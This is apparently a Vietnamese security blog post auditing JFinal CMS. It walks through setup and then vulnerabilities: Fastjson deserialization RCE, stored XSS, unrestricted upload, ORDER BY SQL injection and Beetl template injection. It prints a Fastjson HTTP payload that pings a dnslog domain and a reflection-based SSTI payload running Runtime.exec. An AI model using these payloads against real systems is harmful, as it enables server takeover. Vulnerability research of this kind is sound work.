Phân tích lỗ hổng bảo mật trong hệ thống JFinal CMS

1. Thiết lập môi trường kiểm thử

Mã nguồn của dự án JFinal CMS có thể được tải từ các kho lưu trữ sau:

Dự án yêu cầu JDK 1.8 và MySQL 8. Trước khi chạy, cần tạo cơ sở dữ liệu và nhập file SQL đi kèm. Dự án sử dụng Maven để quản lý phụ thuộc — nên cấu hình lại settings.xml để tăng tốc độ tải thư viện.

Sau khi thực thi mvn install, có thể gặp lỗi liên quan đến plugin đóng gói WAR, nhưng không ảnh hưởng đến quá trình build. Cần đảm bảo Tomcat và MySQL đã được cấu hình sẵn.

2. Phân tích kiến trúc

Các thành phần chính của hệ thống bao gồm:

  • Framework: JFinal
  • Template engine: Beetl
  • Cơ sở dữ liệu: MySQL
  • Giao diện: Bootstrap

File pom.xml liệt kê các thư viện phụ thuộc. Việc kiểm tra phiên bản các thư viện này là bước quan trọng để phát hiện lỗ hổng đã biết.

3. Lỗ hổng反序列化 Fastjson RCE

Phiên bản Fastjson 1.2.62 được sử dụng trong dự án có chứa lỗ hổng thực thi mã từ xa (RCE). Các phương thức như JSON.parseObject() hoặc JSON.parse() là điểm khởi đầu để tìm kiếm vector tấn công.

Qua tìm kiếm toàn cục, phát hiện đoạn mã trong ApiFrom.java gọi parseObject thông qua tham số p. Phương thức này được gọi gián tiếp qua API /api/action/login bằng cơ chế phản xạ (reflection).

Payload khai thác:

POST /jfinal_cms/api/action/login?version=1.0.1&apiNo=1000000&time=20170314160401 HTTP/1.1
Host: 192.168.111.111
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

p={"@type":"java.net.Inet4Address","val":"dgm3af.dnslog.cn"}

Ngoài ra, một vector khác tồn tại khi hệ thống đọc file cấu hình JSON từ đường dẫn cố định. Nếu kẻ tấn công có thể ghi đè file config.json (qua chức năng upload), payload tương tự có thể được kích hoạt khi truy cập endpoint UEditor.

4. Lỗ hổng XSS lưu trữ

Hệ thống không lọc đầu vào người dùng ở nhiều nơi, dẫn đến XSS lưu trữ:

  • Email người dùng: Trong quá trình đăng ký, giá trị email chỉ được xác thực ở phía client. Khi admin truy cập trang quản trị, script độc hại sẽ được thực thi.
  • Cập nhật thông tin cá nhân: Chức năng chỉnh sửa hồ sơ trong PersonController không kiểm soát nội dung đầu vào, cho phép chèn mã JavaScript vào các trường như nickname hoặc tiểu sử.

Các đoạn mã độc này sẽ hiển thị ở nhiều nơi như bình luận, trang chủ, hoặc bảng điều khiển quản trị.

5. Tải lên tệp tùy ý

Chức năng quản lý template cho phép upload file mà không kiểm tra định dạng. Cấu hình trong filemanager.properties cho thấy:

  • upload-imagesonly=false
  • Kích thước file không bị giới hạn (max-file-size=0)

Tuy server không thực thi file JSP, việc upload file SVG, HTML hoặc PDF chứa script độc vẫn có thể gây XSS khi được truy cập trực tiếp.

6. SQL Injection qua mệnh đề ORDER BY

Nhiều controller xây dựng câu lệnh SQL động với tham số orderColumn mà không xử lý lọc đầu vào. Ví dụ trong AdvicefeedbackController, giá trị truyền vào tham số orderBy được nối trực tiếp vào truy vấn, cho phép chèn payload SQL injection.

7. Lỗ hổng SSTI (Server-Side Template Injection)

Chức năng chỉnh sửa template trong phần quản trị cho phép lưu mã Beetl tùy ý. Mặc dù engine chặn truy cập trực tiếp đến Runtime, kẻ tấn công có thể dùng cơ chế phản xạ để thực thi lệnh hệ thống:

${@java.lang.Class.forName("java.lang.Runtime")
.getMethod("exec", @java.lang.Class.forName("java.lang.String"))
.invoke(
  @java.lang.Class.forName("java.lang.Runtime")
  .getMethod("getRuntime", null)
  .invoke(null, null),
  "calc"
)}

Khi template chứa payload này được render, lệnh calc sẽ được thực thi trên máy chủ.

Thẻ: JFinal fastjson Beetl SSTI XSS

Đăng vào ngày 20 tháng 5 lúc 03:37